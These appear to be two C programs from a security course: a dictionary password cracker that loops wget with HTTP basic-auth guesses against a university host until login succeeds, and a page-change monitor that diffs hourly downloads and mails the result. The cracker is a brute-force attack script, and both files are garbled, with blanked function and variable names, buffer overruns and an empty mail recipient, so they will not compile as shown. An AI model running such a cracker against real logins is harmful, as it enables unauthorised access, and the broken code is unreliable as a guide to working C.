#include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>

()
{
	int i,m,k,count=0;
	FILE* diction;
	FILE* log;
	char s[30];
	char pic[30];
	char add[1000];
	char end[100];
	time_t ,finish;
	double ttime;
	
	strcpy(add,"wget --http-user= --http-passwd=");
	strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");
	diction=fopen("/usr/share/lib/dict/words","r");
	=time(NULL);
	while(fgets(s,100,diction)!=NULL)	
	{	
		printf("%s\n",s);
		for(m=40,k=0;k<(strlen(s)-1);k++,m++)
		{
			add[m]=s[k];
		}
		add[m++]=' ';
		for(i=0;i<50;i++,m++)
		{
			add[m]=end[i];
		}
		add[m]='\0';
		
		system(add);
		count++;
		log=fopen("logd","r");
		fgets(pic,100,log);
		printf("%s",pic);
		if(strcmp(pic,"Authorization failed.\n")!=0)	
		{
			finish=time(NULL);
			ttime=difftime(,finish);
			printf( "\n The time_var take:%f/n The  of passwords tried is %d\n",ttime,count);
			break;
		}
		fclose(log);
	}

}


#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
int flag=1;
const char delimiter[]=" \n\t";
FILE *fp1;
char line1[100];
char filename1[50];
char *token;

while(1)
{
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test1");
sleep(3600);
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test2");
system("diff test1 test2 >test3");
system("file test3 >test4"); 
strcpy(filename1,"test4");
if((fp1=fopen(filename1,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
fgets(line1,sizeof(line1),fp1);
token=strtok(line1,delimiter);
        while(token!=NULL)
                {
if(strcmp(token,"empty")==0)
{
printf(" CHANGES\n");
flag=0;

}
token=strtok(NULL,delimiter);

                 }
if(flag==1)
{
system("mail  < test3");
}
fclose(fp1);
}
return(0);
}
